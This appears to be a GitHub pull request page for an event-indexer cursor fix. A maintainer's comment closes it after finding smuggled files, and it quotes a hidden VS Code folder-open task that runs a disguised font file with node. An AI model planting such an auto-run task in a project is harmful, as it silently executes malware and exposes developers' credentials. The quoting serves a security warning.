Repository navigation
fix: advance cursor to ledger actually covered, not chain tip - #258
Richard-tobi wants to merge 3 commits into
Conversation
|
The real change here is three files: The other 23 are not yours to add: a This is the same junk that is riding on several Lens PRs, which suggests it came in from a fork that had it rather than from you adding it deliberately. Worth checking your fork's default branch — if the files are on it, every branch you cut will carry them. To clear it: git checkout -b fix/cursor-advance-clean origin/main # fresh from upstream main
git checkout <your-branch> -- src/indexer.ts src/rpc.ts src/__tests__/fetchEventsSafe.test.tsOpen that as a new PR, or force-push it over this branch — either is fine. I am asking rather than merging around it because a 9,600-line diff cannot be reviewed for a 3-file change: binaries do not diff, so a reviewer either trusts them or does not, and The change itself is one I want. "Advance the cursor to the ledger actually covered" is the right fix — a cursor that advances past ledgers the RPC did not return is how an indexer silently skips events and then reports itself caught up. Send it on its own and I will review it properly. Note also that |
Closed for security: this branch carries a known malware payloadThis is not a judgement about you, and most likely you are a victim rather than the source. Please read all of this — your machine and your GitHub account may be at risk. This branch contains "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-500.woff2) || ...",
"runOptions": { "runOn": "folderOpen" },
"hide": true,
"presentation": { "reveal": "never", "echo": false, "close": true }That runs This matches PolinRider, a campaign that has been spreading through open-source repositories since early 2026. It targets developer credentials — npm and other registry tokens, GitHub tokens — and uses stolen tokens to push the payload into further repositories. That is almost certainly how it reached this branch: not because you added it, but because something that had access to your account or machine did. I am closing this PR rather than asking for a rebase, because the branch itself is the risk and nobody should clone it. Please do these, in this order
About your workNothing you have earned is affected and nothing is held against you. Once your machine and credentials are clean, you are welcome to open fresh pull requests from a clean clone of current Some of these branches did contain real work — the pair-issuer fix in particular is already on I am sorry to close these on you. Given the payload executes on folder open with no visible output, leaving them open would put every person who clones this repository at risk. |
Overview
This PR fixes
fetchEventsso it reports the paging cursor and the highest ledger actually covered by returned events, rather than the raw network tip. It also makesfetchEventsSafepage through full batches with the cursor until the requested range is drained (or a page budget is hit), and clampshighestLedgertomin(last ledger fully covered, endLedger). This prevents dropped events on truncated pages and stops the cursor from jumping pasttarget = tip - TIP_LAG.Related Issue
Changes
🔁 Cursor-accurate event fetching
[MODIFY]
src/rpc.tsfetchEventsnow returnscursor(fromresp.cursor) andmaxEventLedger(maxevent.ledgerseen) alongsidelatestLedger.fetchEventsSafepages with the returned cursor when a page is full, up to a page budget, accumulating events across pages.highestLedgeris computed asmin(last fully covered ledger, endLedger)instead of passing the raw tip through.[MODIFY]
src/indexer.tspollOncecommits the cursor derived from the covered ledger rather than the network tip, so the propagation buffer (target = tip - TIP_LAG) is respected.[ADD]
src/__tests__/fetchEventsSafe.test.tslimitevents proves the second page is lost onmainand ingested after the change.endLedgerpassed in.Verification Results
fetchEventsreturns the paging cursor and the maximumevent.ledgerseen, alongsidelatestLedgerhighestLedgerismin(last ledger fully covered, endLedger)— never the raw tiplimitevents proves the second page is lost onmainand ingested afterendLedgerpassed inCloses #180